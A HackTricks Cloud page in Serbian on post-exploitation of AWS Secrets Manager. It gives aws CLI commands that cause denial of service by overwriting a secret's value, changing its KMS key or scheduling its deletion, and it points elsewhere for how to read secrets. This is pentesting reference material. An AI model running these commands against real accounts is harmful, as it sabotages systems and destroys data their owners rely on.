hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

AWS - Post Eksploatacija Secrets Manager-a

{{#include ../../../banners/hacktricks-training.md}}

Secrets Manager

Za više informacija pogledajte:

{{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}}

Čitanje Tajni

Tajne same su osetljive informacije, proverite stranicu za privesc da biste saznali kako ih pročitati.

DoS Promena Vrednosti Tajne

Promenom vrednosti tajne mogli biste DoS-ovati ceo sistem koji zavisi od te vrednosti.

Warning

Imajte na umu da su prethodne vrednosti takođe sačuvane, tako da je lako jednostavno se vratiti na prethodnu vrednost.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Promena KMS ključa

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Brisanje Tajne

Minimalan broj dana za brisanje tajne je 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

{{#include ../../../banners/hacktricks-training.md}}